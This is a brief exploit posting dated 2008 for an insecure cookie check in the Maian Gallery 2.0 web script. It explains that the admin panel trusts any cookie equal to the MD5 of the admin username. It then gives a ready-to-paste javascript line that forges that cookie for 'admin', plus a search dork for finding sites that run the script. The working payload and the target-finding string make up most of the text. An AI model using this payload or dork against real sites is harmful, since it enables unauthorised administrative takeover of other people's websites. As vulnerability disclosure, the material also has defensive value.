Maian Gallery 2.0 Insecure Cookie Handling Vulnerability

Author: Saime
     Date: July 12, 2008
     Script: Maian Gallery v2.0 Insecure Cookie Handling Vulnerability
     URL: http://www.maianscriptworld.co.uk
     Dork: Maian Gallery v2.0 Copyright © 2006-2008 Maian Script World. All Rights Reserved.
     Description:
     Maian Gallery v2.0 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mgallery_admin_cookie,
     equals admin username(md5)
     Exploit:
     javascript:document.cookie = "mgallery_admin_cookie=21232f297a57a5a743894a0e4a801fc3; path=/php/demos/mgallery/admin/"
     Note:
     The cookie value must be md5(the username). For example, 21232f297a57a5a743894a0e4a801fc3 = admin